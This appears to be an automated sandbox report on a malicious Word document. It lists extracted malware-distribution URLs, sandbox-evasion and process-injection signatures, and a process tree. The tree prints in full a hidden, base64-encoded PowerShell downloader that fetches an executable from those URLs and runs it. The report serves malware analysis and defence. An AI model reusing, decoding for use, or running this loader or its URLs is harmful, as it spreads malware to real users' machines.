Analysis
-
max time kernel
29s -
resource
win10v191014 -
submitted
12-12-2019 22:31
General
-
Target
3e35f97cbb3fc7c49c7bd5f298f6f067942930a32790e8f320d28826e11d741d.doc
-
Sample
191212-fvh92thkbj
-
SHA256
3e35f97cbb3fc7c49c7bd5f298f6f067942930a32790e8f320d28826e11d741d
Score
5/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://polandpresents.info/libraries/65284EU/
exe.dropper
http://nbnglobalhk.com/cgi-bin/32n2/
exe.dropper
http://armgroup101.com/Old1/cpfa/
exe.dropper
https://pasadenacf.org/wp-content-orig/akzk9i/
exe.dropper
http://armanchemical.com/wp-content/9Bg1ybsr/
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 5100 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 5100 WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
SppExtComObj.exedescription pid process target process PID 3708 wrote to memory of 4760 3708 SppExtComObj.exe SLUI.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 5100 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4868 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4868 Powershell.exe -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3e35f97cbb3fc7c49c7bd5f298f6f067942930a32790e8f320d28826e11d741d.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:5100
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:3708 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:4760
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABVAHQAYwBpAHEAbABkAGwAeQBmAHQAPQAnAFoAZwB1AGQAdABmAHcAegBpAG8AbwAnADsAJABGAHAAdwBmAG8AZAB6AGwAYgB1ACAAPQAgACcAMwA0ADEAJwA7ACQAVgBuAGMAcQBsAG4AbgBmAHUAcQBwAGcAPQAnAEEAbAB6AHcAeQBxAHAAeABlAGgAaQBwAHEAJwA7ACQARAB6AG4AdAB5AHgAbABkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABGAHAAdwBmAG8AZAB6AGwAYgB1ACsAJwAuAGUAeABlACcAOwAkAEUAbwB6AHgAdABoAHkAdgBwAGkAPQAnAFQAbABkAG4AbQBmAHcAegAnADsAJABLAG0AZABtAG4AaABuAHAAcwBjAHkAbQA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAFQALgB3AEUAYgBjAEwAaQBlAG4AVAA7ACQAWgB0AHkAdABvAGIAcQBxAD0AJwBoAHQAdABwADoALwAvAHAAbwBsAGEAbgBkAHAAcgBlAHMAZQBuAHQAcwAuAGkAbgBmAG8ALwBsAGkAYgByAGEAcgBpAGUAcwAvADYANQAyADgANABFAFUALwAqAGgAdAB0AHAAOgAvAC8AbgBiAG4AZwBsAG8AYgBhAGwAaABrAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMwAyAG4AMgAvACoAaAB0AHQAcAA6AC8ALwBhAHIAbQBnAHIAbwB1AHAAMQAwADEALgBjAG8AbQAvAE8AbABkADEALwBjAHAAZgBhAC8AKgBoAHQAdABwAHMAOgAvAC8AcABhAHMAYQBkAGUAbgBhAGMAZgAuAG8AcgBnAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAtAG8AcgBpAGcALwBhAGsAegBrADkAaQAvACoAaAB0AHQAcAA6AC8ALwBhAHIAbQBhAG4AYwBoAGUAbQBpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AOQBCAGcAMQB5AGIAcwByAC8AJwAuACIAUwBQAGAATABpAHQAIgAoACcAKgAnACkAOwAkAFMAawBkAGMAeQBpAHUAaAB3AHcAdwA9ACcAQwBxAGoAZgBzAGMAcABrAG4AbQBuACcAOwBmAG8AcgBlAGEAYwBoACgAJABTAHUAZQBmAHkAZwB6AG0AbwBzACAAaQBuACAAJABaAHQAeQB0AG8AYgBxAHEAKQB7AHQAcgB5AHsAJABLAG0AZABtAG4AaABuAHAAcwBjAHkAbQAuACIARABgAE8AVwBOAEwATwBhAGQAZgBgAEkAbABlACIAKAAkAFMAdQBlAGYAeQBnAHoAbQBvAHMALAAgACQARAB6AG4AdAB5AHgAbABkACkAOwAkAEIAdQB2AGoAdQByAG8AcAB2AG8APQAnAEoAcABiAGkAbABvAGYAYQB3AGEAeABkACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARAB6AG4AdAB5AHgAbABkACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAwADMAOQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABBAGAAUgB0ACIAKAAkAEQAegBuAHQAeQB4AGwAZAApADsAJABIAGYAZQB5AHAAZwBtAGgAYQBtAG4AYwBlAD0AJwBIAGIAbwBuAGkAbQBvAGIAJwA7AGIAcgBlAGEAawA7ACQASQB2AHAAYQB3AHIAaQBwAHUAaABrAHEAcQA9ACcAVwBpAGEAdwB5AG0AYgB3AHYAdAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAHYAawBzAGQAYwBhAGgAbAB4AGcAPQAnAEUAbgBqAHcAcQBxAGsAagBjAGwAZABvACcA1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4868